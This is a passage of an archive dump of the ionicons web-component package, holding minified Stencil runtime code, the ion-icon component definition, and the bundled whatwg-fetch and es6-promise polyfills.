m(n,t,e){Object.defineProperty(n,t,{configurable:!0,value:e})}function b(n,t,e,r){Object.defineProperty(n,t,{configurable:!0,get:e,set:r})}function w(n,t,e,r,i,o){if(n.J.delete(t),(i=n.en.get(t))&&((r=i["s-ld"])&&((e=r.indexOf(t))>-1&&r.splice(e,1),r.length||i["s-init"]&&i["s-init"]()),n.en.delete(t)),n.yn.length&&!n.J.size)for(;o=n.yn.shift();)o()}function g(n,t,e,r){if(e.connectedCallback=function(){(function e(n,t,r){n.nn.delete(r),n.mn.has(r)||(n.J.add(r),n.mn.set(r,!0),r["s-id"]||(r["s-id"]=n.bn()),function i(n,t,e){for(e=t;e=n.r.R(e);)if(n.S(e)){n.x.has(t)||(n.en.set(t,e),(e["s-ld"]=e["s-ld"]||[]).push(t));break}}(n,r),n.queue.tick(function(){n.sn.set(r,function e(n,t,r,i,o){return r.mode||(r.mode=n.wn(r)),r["s-cr"]||n.H(r,C)||n.e&&1===t.t||(r["s-cr"]=n.C(""),r["s-cr"]["s-cn"]=!0,n.c(r,r["s-cr"],n.T(r)[0])),n.e||1!==t.t||(r.shadowRoot=r),1===t.t&&n.e&&!r.shadowRoot&&n.gn(r,{mode:"open"}),i={Mn:r["s-id"],un:{}},t.l&&Object.keys(t.l).forEach(function(e){(o=t.l[e].p)&&(i.un[o]=n.H(r,o))}),i}(n.r,t,r)),n.jn(t,r)}))})(n,t,this)},e.disconnectedCallback=function(){(function t(n,e){if(!n._&&function r(n,t){for(;t;){if(!n.o(t))return 9!==n.F(t);t=n.o(t)}}(n.r,e)){n.nn.set(e,!0),w(n,e),a(n.hn.get(e),!0),n.r.w(e),n.kn.delete(e);var i=n.tn.get(e);i&&i.componentDidUnload&&i.componentDidUnload(),[n.en,n.$n,n.sn].forEach(function(n){return n.delete(e)})}})(n,this)},e["s-init"]=function(){(function t(n,e,r,i,o,u){if(n.tn.get(e)&&!n.nn.has(e)&&(!e["s-ld"]||!e["s-ld"].length)){n.x.set(e,!0),n.An.has(e)||(n.An.set(e,!0),e["s-ld"]=void 0,n.r.j(e,r));try{a(n.hn.get(e)),(o=n.$n.get(e))&&(o.forEach(function(n){return n(e)}),n.$n.delete(e))}catch(t){n.an(t,4,e)}w(n,e)}})(n,this,r)},e.forceUpdate=function(){d(n,this)},t.l){var i=Object.entries(t.l),o={};i.forEach(function(n){var t=n[0],e=n[1].p;e&&(o[e]=t)}),o=Object.assign({},o),e.attributeChangedCallback=function(n,t,e){(function r(n,t,e,i){var o=n[_(e)];o&&(t[o]=i)})(o,this,n,e)},function u(n,t,e){t.forEach(function(t){var r=t[0],i=t[1],o=i.En;3&o?b(e,r,function t(){return(n.on.get(this)||{})[r]},function t(e){y(n,this,r,p(i.d,e))}):32===o&&m(e,r,W)})}(n,i,e)}}function M(n,t,e,r){return function(){var i=arguments;return function o(n,t,e){var r=t[e],i=n.i.body;return i?(r||(r=i.querySelector(e)),r||(r=t[e]=n.f(e),n.P(i,r)),r.componentOnReady()):Promise.resolve()}(n,t,e).then(function(n){return n[r].apply(n,i)})}}function j(n,t,r,i,o,u){var f={html:{}},a={},l=r[n]=r[n]||{},v=function p(n,t,e){n.ael||(n.ael=function(n,t,e,r){return n.addEventListener(t,e,r)},n.rel=function(n,t,e,r){return n.removeEventListener(t,e,r)});var r=new WeakMap;"function"!=typeof t.CustomEvent&&(t.CustomEvent=function(n,t,r){return(r=e.createEvent("CustomEvent")).initCustomEvent(n,t.bubbles,t.cancelable,t.detail),r},t.CustomEvent.prototype=t.Event.prototype);var i={i:e,e:!!e.documentElement.attachShadow,Cn:!1,F:function(n){return n.nodeType},f:function(n){return e.createElement(n)},O:function(n,t){return e.createElementNS(n,t)},C:function(n){return e.createTextNode(n)},On:function(n){return e.createComment(n)},c:function(n,t,e){return n.insertBefore(t,e)},W:function(n){return n.remove()},P:function(n,t){return n.appendChild(t)},j:function(n,t){if(n.classList)n.classList.add(t);else if("svg"===n.nodeName.toLowerCase()){var e=n.getAttribute("class")||"";e.split(" ").includes(t)||(e+=" "+t),n.setAttribute("class",e.trim())}},T:function(n){return n.childNodes},o:function(n){return n.parentNode},D:function(n){return n.nextSibling},B:function(n){return n.previousSibling},N:function(n){return _(n.nodeName)},I:function(n){return n.textContent},L:function(n,t){return n.textContent=t},H:function(n,t){return n.getAttribute(t)},Sn:function(n,t,e){return n.setAttribute(t,e)},xn:function(n,t,e,r){return n.setAttributeNS(t,e,r)},y:function(n,t){return n.removeAttribute(t)},m:function(n,t){return n.hasAttribute(t)},wn:function(t){return t.getAttribute("mode")||(n.Context||{}).mode},Pn:function(n,r){return"child"===r?n.firstElementChild:"parent"===r?i.R(n):"body"===r?e.body:"document"===r?e:"window"===r?t:n},b:function(t,e,o,u,f,c,a,s){var l=e,v=t,p=r.get(t);if(p&&p[l]&&p[l](),"string"==typeof c?v=i.Pn(t,c):"object"==typeof c?v=c:(s=e.split(":")).length>1&&(v=i.Pn(t,s[0]),e=s[1]),v){var d=o;(s=e.split(".")).length>1&&(e=s[0],d=function(n){n.keyCode===x[s[1]]&&o(n)}),a=i.Cn?{capture:!!u,passive:!!f}:!!u,n.ael(v,e,d,a),p||r.set(t,p={}),p[l]=function(){v&&n.rel(v,e,d,a),p[l]=null}}},w:function(n,t){var e=r.get(n);e&&(t?e[t]&&e[t]():Object.keys(e).forEach(function(n){e[n]&&e[n]()}))},_n:function(n,e,r){return n&&n.dispatchEvent(new t.CustomEvent(e,r))},R:function(n,t){return(t=i.o(n))&&11===i.F(t)?t.host:t},gn:function(n,t){return n.attachShadow(t)}};return i}(l,r,i);t.isServer=t.isPrerender=!(t.isClient=!0),t.window=r,t.location=r.location,t.document=i,t.resourcesUrl=t.publicPath=o,l.h=s,l.Context=t;var h=r["s-defined"]=r["s-defined"]||{},y=0,m={r:v,Tn:function b(n,t){var e=n.n;r.customElements.get(e)||(g(m,f[e]=n,t.prototype,u),t.observedAttributes=Object.values(n.l).map(function(n){return n.p}).filter(function(n){return!!n}),r.customElements.define(n.n,t))},Wn:t.emit,s:function(n){return f[v.N(n)]},fn:function(n){return t[n]},isClient:!0,S:function(n){return!(!h[v.N(n)]&&!m.s(n))},bn:function(){return n+y++},an:function(n,t,e){},Nn:function(n){return function t(n,e,r){return{create:M(n,e,r,"create"),componentOnReady:M(n,e,r,"componentOnReady")}}(v,a,n)},queue:t.queue=function w(n,t){function e(t){return function(e){t.push(e),p||(p=!0,n.raf(o))}}function r(n){for(var t=0;t<n.length;t++)try{n[t](u())}catch(n){}n.length=0}function i(n,t){for(var e,r=0;r<n.length&&(e=u())<t;)try{n[r++](e)}catch(n){}r===n.length?n.length=0:0!==r&&n.splice(0,r)}function o(){v++,r(a);var t=u()+7*Math.ceil(v*(1/22));i(s,t),i(l,t),s.length>0&&(l.push.apply(l,s),s.length=0),(p=a.length+s.length+l.length>0)?n.raf(o):v=0}var u=function(){return t.performance.now()},f=Promise.resolve(),c=[],a=[],s=[],l=[],v=0,p=!1;return n.raf||(n.raf=t.requestAnimationFrame.bind(t)),{tick:function(n){c.push(n),1===c.length&&f.then(function(){return r(c)})},read:e(a),write:e(s)}}(l,r),jn:function j(n,t,e){if(n.rn)d(m,t);else{var r=!v.e,i={mode:t.mode,scoped:r};n.Rn(i).then(function(e){try{n.rn=e,function r(n,t,e,i,o){if(i){var u=t.n+(o||O);t[u]||(t[u]=i)}}(0,n,n.t,e.style,e.styleMode)}catch(t){n.rn=function i(){}}d(m,t)})}},dn:!1,V:!1,_:!1,pn:e,en:new WeakMap,u:new WeakMap,mn:new WeakMap,kn:new WeakMap,An:new WeakMap,x:new WeakMap,in:new WeakMap,sn:new WeakMap,tn:new WeakMap,nn:new WeakMap,K:new WeakMap,$n:new WeakMap,Ln:new WeakMap,hn:new WeakMap,on:new WeakMap,J:new Set,yn:[]};l.onReady=function(){return new Promise(function(n){return m.queue.write(function(){return m.J.size?m.yn.push(n):n()})})},m.render=c(m,v);var k=v.i.documentElement;return k["s-ld"]=[],k["s-rn"]=!0,k["s-init"]=function(){m.x.set(k,l.loaded=m.V=!0),v._n(r,"appload",{detail:{namespace:n}})},function $(n,t,e,r,i,o){if(t.componentOnReady=function(t,e){if(!t.nodeName.includes("-"))return e(null),!1;var r=n.s(t);if(r)if(n.x.has(t))e(t);else{var i=n.$n.get(t)||[];i.push(e),n.$n.set(t,i)}return!!r},i){for(o=i.length-1;o>=0;o--)t.componentOnReady(i[o][0],i[o][1])&&i.splice(o,1);for(o=0;o<r.length;o++)if(!e[r[o]].componentOnReady)return;for(o=0;o<i.length;o++)i[o][1](null);i.length=0}}(m,l,r,r["s-apps"],r["s-cr"]),l.initialized=!0,m}function k(n,t,e){void 0===e&&(e={});var r=Array.isArray(t)?t:[t],i=n.document,o=e.hydratedCssClass||"hydrated",u=r.filter(function(n){return n[0]}).map(function(n){return n[0]});if(u.length>0){var f=i.createElement("style");f.innerHTML=u.join()+"{visibility:hidden}."+o+"{visibility:inherit}",f.setAttribute("data-styles",""),i.head.insertBefore(f,i.head.firstChild)}var c=e.namespace||"ionicons";return q||(q=!0,function a(n,t,e){(n["s-apps"]=n["s-apps"]||[]).push(t),e.componentOnReady||(e.componentOnReady=function t(){function e(t){if(r.nodeName.indexOf("-")>0){for(var e=n["s-apps"],i=0,o=0;o<e.length;o++)if(n[e[o]].componentOnReady){if(n[e[o]].componentOnReady(r,t))return;i++}if(i<e.length)return void(n["s-cr"]=n["s-cr"]||[]).push([r,t])}t(null)}var r=this;return n.Promise?new n.Promise(e):{then:e}})}(n,c,n.HTMLElement.prototype)),new Promise(function(r){applyPolyfills(n,function(){if(!H[c]){var u={},f=e.resourcesUrl||"./";E(c,u,n,i,f,o),H[c]=j(c,u,n,i,f,o)}t.forEach(function(t){var e;!function r(n){return/\{\s*\[native code\]\s*\}/.test(""+n)}(n.customElements.define)?(e=function(t){return n.HTMLElement.call(this,t)}).prototype=Object.create(n.HTMLElement.prototype,{constructor:{value:e,configurable:!0}}):e=new Function("w","return class extends w.HTMLElement{}")(n),H[c].Tn(function i(n){var t=function e(n){var t=n[0],e=n[1],r=n[3],i=n[4],o=n[5],u={color:{p:"color"}};if(r)for(var f=0;f<r.length;f++){var c=r[f];u[c[0]]={En:c[1],v:!!c[2],p:"string"==typeof c[3]?c[3]:c[3]?c[0]:0,d:c[4]}}return{n:t,Rn:e,l:Object.assign({},u),t:i,Dn:o?o.map(v):void 0}}(n),r=t.Rn,i=T(n[0]);return t.Rn=function(n){var t=n.mode,e=n.scoped;return function o(n,t,e){return import(
/* webpackInclude: /\.entry\.js$/ */
/* webpackMode: "lazy" */
"./build/"+n+(t?".sc":"")+".entry.js").then(function(n){return n[e]})}("string"==typeof r?r:r[t],e,i)},t}(t),e)}),r()})})}this&&this.Fn||(Object.setPrototypeOf||Array);var $=this&&this.Hn||function(n,t,e,r){return new(e||(e=Promise))(function(i,o){function u(n){try{c(r.qn(n))}catch(n){o(n)}}function f(n){try{c(r.throw(n))}catch(n){o(n)}}function c(n){n.Un?i(n.value):new e(function(t){t(n.value)}).then(u,f)}c((r=r.apply(n,t||[])).qn())})},A=this&&this.Bn||function(n,t){function e(e){return function(u){return function c(e){if(r)throw new TypeError("Generator is already executing.");for(;f;)try{if(r=1,i&&(o=2&e[0]?i.return:e[0]?i.throw||((o=i.return)&&o.call(i),0):i.qn)&&!(o=o.call(i,e[1])).Un)return o;switch(i=0,o&&(e=[2&e[0],o.value]),e[0]){case 0:case 1:o=e;break;case 4:return f.X++,{value:e[1],Un:!1};case 5:f.X++,i=e[1],e=[0];continue;case 7:e=f.In.pop(),f.ln.pop();continue;default:if(!(o=(o=f.ln).length>0&&o[o.length-1])&&(6===e[0]||2===e[0])){f=0;continue}if(3===e[0]&&(!o||e[1]>o[0]&&e[1]<o[3])){f.X=e[1];break}if(6===e[0]&&f.X<o[1]){f.X=o[1],o=e;break}if(o&&f.X<o[2]){f.X=o[2],f.In.push(e);break}o[2]&&f.In.pop(),f.ln.pop();continue}e=t.call(n,f)}catch(n){e=[6,n],i=0}finally{r=o=0}if(5&e[0])throw e[1];return{value:e[0]?e[1]:void 0,Un:!0}}([e,u])}}var r,i,o,u,f={X:0,vn:function(){if(1&o[0])throw o[1];return o[1]},ln:[],In:[]};return u={qn:e(0),throw:e(1),return:e(2)},"function"==typeof Symbol&&(u[Symbol.iterator]=function(){return this}),u},E=function(){};function applyPolyfills(n,t){n.Gn=function(){function t(){var n=setTimeout;return function(){return n(e,1)}}function e(){for(var n=0;n<b;n+=2)(0,O[n])(O[n+1]),O[n]=void 0,O[n+1]=void 0;b=0}function r(n,t){var e=this,r=new this.constructor(o);void 0===r[x]&&h(r);var i=e.Qn;if(i){var u=arguments[i-1];M(function(){return d(i,r,u,e.Yn)})}else v(e,r,n,t);return r}function i(n){if(n&&"object"==typeof n&&n.constructor===this)return n;var t=new this(o);return c(t,n),t}function o(){}function u(n){try{return n.then}catch(n){return W.error=n,W}}function f(n,t,e){t.constructor===n.constructor&&e===r&&t.constructor.resolve===i?function(n,t){t.Qn===_?s(n,t.Yn):t.Qn===T?l(n,t.Yn):v(t,void 0,function(t){return c(n,t)},function(t){return l(n,t)})}(n,t):e===W?(l(n,W.error),W.error=null):void 0===e?s(n,t):"function"==typeof e?function(n,t,e){M(function(n){var r=!1,i=function(n,t,e,r){try{n.call(t,e,r)}catch(n){return n}}(e,t,function(e){r||(r=!0,t!==e?c(n,e):s(n,e))},function(t){r||(r=!0,l(n,t))},n.Zn);!r&&i&&(r=!0,l(n,i))},n)}(n,t,e):s(n,t)}function c(n,t){if(n===t)l(n,new TypeError("cannot resolve promise w/ itself"));else{var e=typeof t;null===t||"object"!==e&&"function"!==e?s(n,t):f(n,t,u(t))}}function a(n){n.zn&&n.zn(n.Yn),p(n)}function s(n,t){n.Qn===P&&(n.Yn=t,n.Qn=_,0!==n.Jn.length&&M(p,n))}function l(n,t){n.Qn===P&&(n.Qn=T,n.Yn=t,M(a,n))}function v(n,t,e,r){var i=n.Jn,o=i.length;n.zn=null,i[o]=t,i[o+_]=e,i[o+T]=r,0===o&&n.Qn&&M(p,n)}function p(n){var t=n.Jn,e=n.Qn;if(0!==t.length){for(var r,i,o=n.Yn,u=0;u<t.length;u+=3)r=t[u],i=t[u+e],r?d(e,r,i,o):i(o);n.Jn.length=0}}function d(n,t,e,r){var i="function"==typeof e,o=void 0,u=void 0,f=void 0,a=void 0;if(i){try{o=e(r)}catch(n){W.error=n,o=W}if(o===W?(a=!0,u=o.error,o.error=null):f=!0,t===o)return void l(t,new TypeError("Cannot return same promise"))}else o=r,f=!0;t.Qn===P&&(i&&f?c(t,o):a?l(t,u):n===_?s(t,o):n===T&&l(t,o))}function h(n){n[x]=N++,n.Qn=void 0,n.Yn=void 0,n.Jn=[]}var y,m=Array.isArray?Array.isArray:function(n){return"[object Array]"===Object.prototype.toString.call(n)},b=0,w=void 0,g=void 0,M=function(n,t){O[b]=n,O[b+1]=t,2===(b+=2)&&(g?g(e):S())},j=(y=void 0!==n?n:void 0)||{},k=j.Kn||j.Vn;j="undefined"==typeof self;var $,A,E,C="undefined"!=typeof Uint8ClampedArray&&"undefined"!=typeof importScripts&&"undefined"!=typeof MessageChannel,O=Array(1e3),S=void 0;S=k?($=0,A=new k(e),E=document.createTextNode(""),A.observe(E,{characterData:!0}),function(){E.data=$=++$%2}):C?function(){var n=new MessageChannel;return n.Xn.onmessage=e,function(){return n.nt.postMessage(0)}}():void 0===y&&"function"==typeof require?function(){try{var n=Function("return this")().tt("vertx");return void 0!==(w=n.et||n.rt)?function(){w(e)}:t()}catch(n){return t()}}():t();var x=Math.random().toString(36).substring(2),P=void 0,_=1,T=2,W={error:null},N=0,R=function(){function n(n,t){this.it=n,this.ot=new n(o),this.ot[x]||h(this.ot),m(t)?(this.ut=this.length=t.length,this.Yn=Array(this.length),0===this.length?s(this.ot,this.Yn):(this.length=this.length||0,this.ft(t),0===this.ut&&s(this.ot,this.Yn))):l(this.ot,Error("Array Methods must be provided an Array"))}return n.prototype.ft=function(n){for(var t=0;this.Qn===P&&t<n.length;t++)this.ct(n[t],t)},n.prototype.ct=function(n,t){var e=this.it,c=e.resolve;c===i?(c=u(n))===r&&n.Qn!==P?this.at(n.Qn,t,n.Yn):"function"!=typeof c?(this.ut--,this.Yn[t]=n):e===L?(f(e=new e(o),n,c),this.st(e,t)):this.st(new e(function(t){return t(n)}),t):this.st(c(n),t)},n.prototype.at=function(n,t,e){var r=this.ot;r.Qn===P&&(this.ut--,n===T?l(r,e):this.Yn[t]=e),0===this.ut&&s(r,this.Yn)},n.prototype.st=function(n,t){var e=this;v(n,void 0,function(n){return e.at(_,t,n)},function(n){return e.at(T,t,n)})},n}(),L=function(){function n(t){if(this[x]=N++,this.Yn=this.Qn=void 0,this.Jn=[],o!==t){if("function"!=typeof t)throw new TypeError("Must pass a resolver fn as 1st arg");if(!(this instanceof n))throw new TypeError("Failed to construct 'Promise': Use the 'new' operator.");!function(n,t){try{t(function(t){c(n,t)},function(t){l(n,t)})}catch(t){l(n,t)}}(this,t)}}return n.prototype.catch=function(n){return this.then(null,n)},n.prototype.finally=function(n){var t=this.constructor;return this.then(function(e){return t.resolve(n()).then(function(){return e})},function(e){return t.resolve(n()).then(function(){throw e})})},n}();return L.prototype.then=r,L.all=function(n){return new R(this,n).ot},L.race=function(n){var t=this;return m(n)?new t(function(e,r){for(var i=n.length,o=0;o<i;o++)t.resolve(n[o]).then(e,r)}):new t(function(n,t){return t(new TypeError("Must pass array to race"))})},L.resolve=i,L.reject=function(n){var t=new this(o);return l(t,n),t},L.lt=function(n){g=n},L.vt=function(n){M=n},L.pt=M,L.dt=function(){var n=void 0;if("undefined"!=typeof global)n=global;else if("undefined"!=typeof self)n=self;else try{n=Function("return this")()}catch(n){throw Error("polyfill failed")}var t=n.Promise;if(t){var e=null;try{e=Object.prototype.toString.call(t.resolve())}catch(n){}if("[object Promise]"===e&&!t.ht)return}n.Promise=L},L.Promise=L,L.dt(),L}();var e=[];n.customElements&&(!n.Element||n.Element.prototype.closest&&n.Element.prototype.matches&&n.Element.prototype.remove)||e.push(import("./polyfills/dom.js")),"function"==typeof Object.assign&&Object.entries||e.push(import("./polyfills/object.js")),Array.prototype.find&&Array.prototype.includes||e.push(import("./polyfills/array.js")),String.prototype.startsWith&&String.prototype.endsWith||e.push(import("./polyfills/string.js")),n.fetch||e.push(import("./polyfills/fetch.js")),function r(){try{var n=new URL("b","http://a");return n.pathname="c%20d","http://a/c%20d"===n.href&&n.yt}catch(n){return!1}}||e.push(import("./polyfills/url.js")),Promise.all(e).then(function(e){e.forEach(function(t){t.applyPolyfill(n,n.document)}),t()})}var C="ssrv",O="$",S={},x={enter:13,escape:27,space:32,tab:9,left:37,up:38,right:39,down:40},P=function(n){return null!=n},_=function(n){return n.toLowerCase()},T=function(n){return _(n).split("-").map(function(n){return n.charAt(0).toUpperCase()+n.slice(1)}).join("")},W=function(){},N="http://www.w3.org/1999/xlink",R=!1,L=[],D={forEach:function(n,t){n.forEach(function(n,e,r){return t(l(n),e,r)})},map:function(n,t){return n.map(function(n,e,r){return function i(n){return{vtag:n.vtag,vchildren:n.vchildren,vtext:n.vtext,vattrs:n.vattrs,vkey:n.vkey,vname:n.vname}}(t(l(n),e,r))})}},F="wc-",H={},q=!1;export{k as defineCustomElement,s as h};esm/es2017/ionicons.components.js000064400000000703151701353760012624 0ustar00// ionicons: Host Data, ES Module/es2017 Target
export const Icon = ["ion-icon","esckjbl8",1,[["ariaLabel",2,1,"aria-label",2],["color",1,0,1,2],["doc",4,0,0,0,"document"],["el",64],["icon",1,0,1,2],["ios",1,0,1,2],["isServer",4,0,0,0,"isServer"],["isVisible",16],["lazy",1,0,1,4],["md",1,0,1,2],["mode",1,0,1,2],["name",1,0,1,2],["resourcesUrl",4,0,0,0,"resourcesUrl"],["size",1,0,1,2],["src",1,0,1,2],["svgContent",16],["win",4,0,0,0,"window"]],1];esm/es2017/ionicons.define.js000064400000000457151701353760011677 0ustar00
// ionicons: Custom Elements Define Library, ES Module/es2017 Target

import { defineCustomElement } from './ionicons.core.js';
import {
  Icon
} from './ionicons.components.js';

export function defineCustomElements(win, opts) {
  return defineCustomElement(win, [
    Icon
  ], opts);
}
esm/es5/polyfills/fetch.js000064400000016416151701353760011510 0ustar00export function applyPolyfill(window, document) {/*!
whatwg-fetch, 2.0.3
https://github.com/github/fetch
Copyright (c) 2014-2016 GitHub, Inc. - MIT License
*/
(function(e){function l(a){"string"!==typeof a&&(a=String(a));if(/[^a-z0-9\-#$%&'*+.\^_`|~]/i.test(a))throw new TypeError("Invalid character in header field name");return a.toLowerCase()}function q(a){"string"!==typeof a&&(a=String(a));return a}function n(a){var b={next:function(){var b=a.shift();return{done:void 0===b,value:b}}};g.iterable&&(b[Symbol.iterator]=function(){return b});return b}function d(a){this.map={};a instanceof d?a.forEach(function(a,c){this.append(c,a)},this):Array.isArray(a)?
a.forEach(function(a){this.append(a[0],a[1])},this):a&&Object.getOwnPropertyNames(a).forEach(function(b){this.append(b,a[b])},this)}function p(a){if(a.bodyUsed)return Promise.reject(new TypeError("Already read"));a.bodyUsed=!0}function r(a){return new Promise(function(b,c){a.onload=function(){b(a.result)};a.onerror=function(){c(a.error)}})}function w(a){var b=new FileReader,c=r(b);b.readAsArrayBuffer(a);return c}function x(a){a=new Uint8Array(a);for(var b=Array(a.length),c=0;c<a.length;c++)b[c]=String.fromCharCode(a[c]);
return b.join("")}function t(a){if(a.slice)return a.slice(0);var b=new Uint8Array(a.byteLength);b.set(new Uint8Array(a));return b.buffer}function u(){this.bodyUsed=!1;this._initBody=function(a){if(this._bodyInit=a)if("string"===typeof a)this._bodyText=a;else if(g.blob&&Blob.prototype.isPrototypeOf(a))this._bodyBlob=a;else if(g.formData&&FormData.prototype.isPrototypeOf(a))this._bodyFormData=a;else if(g.searchParams&&URLSearchParams.prototype.isPrototypeOf(a))this._bodyText=a.toString();else if(g.arrayBuffer&&
g.blob&&y(a))this._bodyArrayBuffer=t(a.buffer),this._bodyInit=new Blob([this._bodyArrayBuffer]);else if(g.arrayBuffer&&(ArrayBuffer.prototype.isPrototypeOf(a)||z(a)))this._bodyArrayBuffer=t(a);else throw Error("unsupported BodyInit type");else this._bodyText="";this.headers.get("content-type")||("string"===typeof a?this.headers.set("content-type","text/plain;charset=UTF-8"):this._bodyBlob&&this._bodyBlob.type?this.headers.set("content-type",this._bodyBlob.type):g.searchParams&&URLSearchParams.prototype.isPrototypeOf(a)&&
this.headers.set("content-type","application/x-www-form-urlencoded;charset=UTF-8"))};g.blob&&(this.blob=function(){var a=p(this);if(a)return a;if(this._bodyBlob)return Promise.resolve(this._bodyBlob);if(this._bodyArrayBuffer)return Promise.resolve(new Blob([this._bodyArrayBuffer]));if(this._bodyFormData)throw Error("could not read FormData body as blob");return Promise.resolve(new Blob([this._bodyText]))},this.arrayBuffer=function(){return this._bodyArrayBuffer?p(this)||Promise.resolve(this._bodyArrayBuffer):
this.blob().then(w)});this.text=function(){var a=p(this);if(a)return a;if(this._bodyBlob){a=this._bodyBlob;var b=new FileReader,c=r(b);b.readAsText(a);return c}if(this._bodyArrayBuffer)return Promise.resolve(x(this._bodyArrayBuffer));if(this._bodyFormData)throw Error("could not read FormData body as text");return Promise.resolve(this._bodyText)};g.formData&&(this.formData=function(){return this.text().then(A)});this.json=function(){return this.text().then(JSON.parse)};return this}function k(a,b){b=
b||{};var c=b.body;if(a instanceof k){if(a.bodyUsed)throw new TypeError("Already read");this.url=a.url;this.credentials=a.credentials;b.headers||(this.headers=new d(a.headers));this.method=a.method;this.mode=a.mode;c||null==a._bodyInit||(c=a._bodyInit,a.bodyUsed=!0)}else this.url=String(a);this.credentials=b.credentials||this.credentials||"omit";if(b.headers||!this.headers)this.headers=new d(b.headers);var v=b.method||this.method||"GET",g=v.toUpperCase();this.method=-1<B.indexOf(g)?g:v;this.mode=
b.mode||this.mode||null;this.referrer=null;if(("GET"===this.method||"HEAD"===this.method)&&c)throw new TypeError("Body not allowed for GET or HEAD requests");this._initBody(c)}function A(a){var b=new FormData;a.trim().split("&").forEach(function(a){if(a){var c=a.split("=");a=c.shift().replace(/\+/g," ");c=c.join("=").replace(/\+/g," ");b.append(decodeURIComponent(a),decodeURIComponent(c))}});return b}function C(a){var b=new d;a.replace(/\r?\n[\t ]+/g," ").split(/\r?\n/).forEach(function(a){var c=
a.split(":");if(a=c.shift().trim())c=c.join(":").trim(),b.append(a,c)});return b}function h(a,b){b||(b={});this.type="default";this.status=void 0===b.status?200:b.status;this.ok=200<=this.status&&300>this.status;this.statusText="statusText"in b?b.statusText:"OK";this.headers=new d(b.headers);this.url=b.url||"";this._initBody(a)}if(!e.fetch){var D="Symbol"in e&&"iterator"in Symbol,m;if(m="FileReader"in e&&"Blob"in e)try{new Blob,m=!0}catch(a){m=!1}var g={searchParams:"URLSearchParams"in e,iterable:D,
blob:m,formData:"FormData"in e,arrayBuffer:"ArrayBuffer"in e};if(g.arrayBuffer){var E="[object Int8Array];[object Uint8Array];[object Uint8ClampedArray];[object Int16Array];[object Uint16Array];[object Int32Array];[object Uint32Array];[object Float32Array];[object Float64Array]".split(";");var y=function(a){return a&&DataView.prototype.isPrototypeOf(a)};var z=ArrayBuffer.isView||function(a){return a&&-1<E.indexOf(Object.prototype.toString.call(a))}}d.prototype.append=function(a,b){a=l(a);b=q(b);var c=
this.map[a];this.map[a]=c?c+","+b:b};d.prototype["delete"]=function(a){delete this.map[l(a)]};d.prototype.get=function(a){a=l(a);return this.has(a)?this.map[a]:null};d.prototype.has=function(a){return this.map.hasOwnProperty(l(a))};d.prototype.set=function(a,b){this.map[l(a)]=q(b)};d.prototype.forEach=function(a,b){for(var c in this.map)this.map.hasOwnProperty(c)&&a.call(b,this.map[c],c,this)};d.prototype.keys=function(){var a=[];this.forEach(function(b,c){a.push(c)});return n(a)};d.prototype.values=
function(){var a=[];this.forEach(function(b){a.push(b)});return n(a)};d.prototype.entries=function(){var a=[];this.forEach(function(b,c){a.push([c,b])});return n(a)};g.iterable&&(d.prototype[Symbol.iterator]=d.prototype.entries);var B="DELETE GET HEAD OPTIONS POST PUT".split(" ");k.prototype.clone=function(){return new k(this,{body:this._bodyInit})};u.call(k.prototype);u.call(h.prototype);h.prototype.clone=function(){return new h(this._bodyInit,{status:this.status,statusText:this.statusText,headers:new d(this.headers),
url:this.url})};h.error=function(){var a=new h(null,{status:0,statusText:""});a.type="error";return a};var F=[301,302,303,307,308];h.redirect=function(a,b){if(-1===F.indexOf(b))throw new RangeError("Invalid status code");return new h(null,{status:b,headers:{location:a}})};e.Headers=d;e.Request=k;e.Response=h;e.fetch=function(a,b){return new Promise(function(c,d){var e=new k(a,b),f=new XMLHttpRequest;f.onload=function(){var a={status:f.status,statusText:f.statusText,headers:C(f.getAllResponseHeaders()||
"")};a.url="responseURL"in f?f.responseURL:a.headers.get("X-Request-URL");c(new h("response"in f?f.response:f.responseText,a))};f.onerror=function(){d(new TypeError("Network request failed"))};f.ontimeout=function(){d(new TypeError("Network request failed"))};f.open(e.method,e.url,!0);"include"===e.credentials?f.withCredentials=!0:"omit"===e.credentials&&(f.withCredentials=!1);"responseType"in f&&g.blob&&(f.responseType="blob");e.headers.forEach(function(a,b){f.setRequestHeader(b,a)});f.send("undefined"===
typeof e._bodyInit?null:e._bodyInit)})};e.fetch.polyfill=!0}})("undefined"!==typeof self?self:window);}esm/es5/polyfills/promise.js000064400000013531151701353760012070 0ustar00export function applyPolyfill(window, document) {/*!
es6-promise - a tiny implementation of Promises/A+.
Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald)
Licensed under MIT license
See https://raw.githubusercontent.com/stefanpenner/es6-promise/master/LICENSE
v4.2.4+314e4831
*/
(window.ES6Promise=function(){function t(){var t=setTimeout;return function(){return t(r,1)}}function r(){for(var t=0;t<y;t+=2)(0,C[t])(C[t+1]),C[t]=void 0,C[t+1]=void 0;y=0}function e(t,r){var e=this,n=new this.constructor(o);void 0===n[O]&&_(n);var i=e._state;if(i){var s=arguments[i-1];g(function(){return v(i,n,s,e._result)})}else l(e,n,t,r);return n}function n(t){if(t&&"object"==typeof t&&t.constructor===this)return t;var r=new this(o);return u(r,t),r}function o(){}function i(t){try{return t.then}catch(t){return q.error=t,q}}function s(t,r,o){r.constructor===t.constructor&&o===e&&r.constructor.resolve===n?function(t,r){r._state===x?a(t,r._result):r._state===F?f(t,r._result):l(r,void 0,function(r){return u(t,r)},function(r){return f(t,r)})}(t,r):o===q?(f(t,q.error),q.error=null):void 0===o?a(t,r):"function"==typeof o?function(t,r,e){g(function(t){var n=!1,o=function(t,r,e,n){try{t.call(r,e,n)}catch(t){return t}}(e,r,function(e){n||(n=!0,r!==e?u(t,e):a(t,e))},function(r){n||(n=!0,f(t,r))},t._label);!n&&o&&(n=!0,f(t,o))},t)}(t,r,o):a(t,r)}function u(t,r){if(t===r)f(t,new TypeError("cannot resolve promise w/ itself"));else{var e=typeof r;null===r||"object"!==e&&"function"!==e?a(t,r):s(t,r,i(r))}}function c(t){t._onerror&&t._onerror(t._result),h(t)}function a(t,r){t._state===P&&(t._result=r,t._state=x,0!==t._subscribers.length&&g(h,t))}function f(t,r){t._state===P&&(t._state=F,t._result=r,g(c,t))}function l(t,r,e,n){var o=t._subscribers,i=o.length;t._onerror=null,o[i]=r,o[i+x]=e,o[i+F]=n,0===i&&t._state&&g(h,t)}function h(t){var r=t._subscribers,e=t._state;if(0!==r.length){for(var n,o,i=t._result,s=0;s<r.length;s+=3)n=r[s],o=r[s+e],n?v(e,n,o,i):o(i);t._subscribers.length=0}}function v(t,r,e,n){var o="function"==typeof e,i=void 